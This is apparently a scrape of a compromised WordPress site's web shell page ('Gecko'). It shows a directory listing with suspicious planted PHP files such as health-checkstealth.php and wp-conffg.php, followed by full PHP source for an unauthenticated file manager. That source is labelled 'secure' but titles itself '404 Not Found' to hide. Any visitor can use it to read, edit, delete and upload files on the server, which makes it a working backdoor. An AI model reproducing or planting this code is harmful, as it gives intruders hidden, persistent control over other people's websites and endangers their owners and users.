Gecko [ sanaafrederick.com ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2025-08-14 00:55
cgi-bin	[ DIR ]	drwxr-xr-x	2026-03-10 06:53
wp-admin	[ DIR ]	drwxr-xr-x	2026-03-10 06:53
wp-content	[ DIR ]	drwxr-xr-x	2026-03-12 21:48
wp-includes	[ DIR ]	drwxr-xr-x	2026-03-10 07:14
.hcflag	30 B	-rw-r--r--	2026-03-12 20:30
.htaccess	626 B	-r--r--r--	2026-03-10 06:53
.htaccess.bk	1.01 KB	-rw-r--r--	2023-04-18 02:31
error_log	45.95 KB	-rw-r--r--	2026-03-12 13:02
h2.php	17.26 KB	-rw-r--r--	2026-03-06 08:17
health-checkstealth.php	7.92 KB	-rw-r--r--	2026-03-05 19:30
index.php	12.29 KB	-r--r--r--	2026-03-12 06:22
license.txt	19.44 KB	-rw-r--r--	2025-03-06 19:24
luca.php	4.71 KB	-rw-r--r--	2026-02-22 15:45
options.php	10.93 KB	-rw-r--r--	2026-03-12 06:00
readme.html	7.25 KB	-rw-r--r--	2025-07-08 15:05
wp-activate.php	7.18 KB	-rw-r--r--	2025-10-08 07:02
wp-blog-header.php	351 B	-rw-r--r--	2020-02-06 11:33
wp-comments-post.php	2.27 KB	-rw-r--r--	2023-06-14 18:11
wp-conffg.php	122.7 KB	-rw-r--r--	2026-03-10 06:34
wp-config-sample.php	3.26 KB	-rw-r--r--	2025-08-12 18:47
wp-config.php	3.41 KB	-rw-r--r--	2026-03-08 00:30
wp-cron.php	5.49 KB	-rw-r--r--	2024-08-02 23:40
wp-links-opml.php	2.43 KB	-rw-r--r--	2025-04-30 16:52
wp-load.php	3.84 KB	-rw-r--r--	2024-03-11 14:05
wp-login.php	50.23 KB	-rw-r--r--	2025-10-29 14:37
wp-mail.php	8.52 KB	-rw-r--r--	2025-04-03 02:25
wp-settings.php	30.33 KB	-rw-r--r--	2025-11-07 17:42
wp-signup.php	33.71 KB	-rw-r--r--	2025-03-10 22:16
wp-trackback.php	5.09 KB	-rw-r--r--	2025-08-19 16:30
wper.php	16.3 KB	-rw-r--r--	2025-12-26 06:30
xmlrpc.php	3.13 KB	-rw-r--r--	2024-11-08 20:52

Rename

<?php
/* =====================================================
   SECURE FILE MANAGER
   ROOT: /home/lunnaca
   - Locked to home user
   - No path traversal
   - No directory delete
   - Anti 0 KB
===================================================== */

error_reporting(E_ALL);
ini_set('display_errors', 1);

/* ================= ROOT LOCK ================= */
$ROOT = realpath(dirname(__DIR__)); // /home/lunnaca
$cwd  = $ROOT;

/* ================= DIRECTORY NAVIGATION ================= */
if (isset($_GET['p'])) {

$real = realpath($_GET['p']);

if (
        $real !== false &&
        strpos($real, $ROOT) === 0 &&
        is_dir($real)
    ) {
        $cwd = $real;
    }
}

/* ================= MESSAGE ================= */
$msg = '';

/* ================= SAVE FILE ================= */
if (isset($_POST['save'], $_POST['file'])) {

$file = basename($_POST['file']);
    $target = $cwd . DIRECTORY_SEPARATOR . $file;

if (!isset($_POST['content'])) {
        $msg = "No content received.";
    }
    elseif (!is_file($target)) {
        $msg = "File not found.";
    }
    elseif (!is_writable($target)) {
        $msg = "File not writable.";
    }
    else {

$content = $_POST['content'];

if (strlen($content) === 0) {
            $msg = "Refused empty content (prevent 0 KB).";
        }
        else {

$bytes = file_put_contents($target, $content, LOCK_EX);

if ($bytes !== false && filesize($target) > 0) {
                $msg = "File saved successfully.";
            } else {
                $msg = "Write failed.";
            }
        }
    }
}

/* ================= DELETE FILE ================= */
if (isset($_POST['delete'], $_POST['file'])) {

$file = basename($_POST['file']);
    $target = $cwd . DIRECTORY_SEPARATOR . $file;

if (is_file($target) && is_writable($target)) {

if (unlink($target)) {
            $msg = "File deleted.";
        } else {
            $msg = "Delete failed.";
        }

} else {
        $msg = "File not deletable.";
    }
}

/* ================= UPLOAD ================= */
if (!empty($_FILES['upload']['name'])) {

if ($_FILES['upload']['error'] === UPLOAD_ERR_OK) {

$name = basename($_FILES['upload']['name']);
        $dest = $cwd . DIRECTORY_SEPARATOR . $name;

if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) {
            $msg = "Upload successful.";
        } else {
            $msg = "Upload failed.";
        }

} else {
        $msg = "Upload error.";
    }
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>404 Not Found</title>
<style>
body { background:#111;color:#eee;font-family:Arial;font-size:14px }
a { color:#6cf;text-decoration:none }
textarea,input { background:#222;color:#eee;border:1px solid #444 }
ul { list-style:none;padding-left:0 }
li { margin:4px 0 }
.msg { color:#9f9;margin:10px 0 }
</style>
</head>
<body>

<?php if ($msg): ?>
<div class="msg"><?= htmlspecialchars($msg) ?></div>
<?php endif; ?>

<hr>

<?php
/* ================= EDIT MODE ================= */
if (isset($_GET['e'])) {

$file = basename($_GET['e']);
    $path = $cwd . DIRECTORY_SEPARATOR . $file;

if (is_file($path) && is_readable($path)) {

$content = htmlspecialchars(file_get_contents($path));
        ?>
        <form method="post">
            <textarea name="content" rows="20" cols="100"><?= $content ?></textarea><br>
            <input type="hidden" name="file" value="<?= htmlspecialchars($file) ?>">
            <input type="submit" name="save" value="Save">
        </form>
        <hr>
        <?php
    }
}

/* ================= FILE LIST ================= */
$files = scandir($cwd);

echo '<ul>';

foreach ($files as $i) {

if ($i === '.' || $i === '..') continue;

$p = $cwd . DIRECTORY_SEPARATOR . $i;

if (is_dir($p)) {

echo '<li>[+] <a href="?p=' . urlencode($p) . '">' . htmlspecialchars($i) . '</a></li>';

} else {

echo '<li>[-] ' . htmlspecialchars($i) . '
            <a href="?e=' . urlencode($i) . '&p=' . urlencode($cwd) . '">[edit]</a>

<form method="post" style="display:inline"
                onsubmit="return confirm(\'Delete file?\')">
                <input type="hidden" name="file" value="' . htmlspecialchars($i) . '">
                <input type="submit" name="delete" value="delete">
            </form>
        </li>';
    }
}

echo '</ul>';
?>

</body>
</html>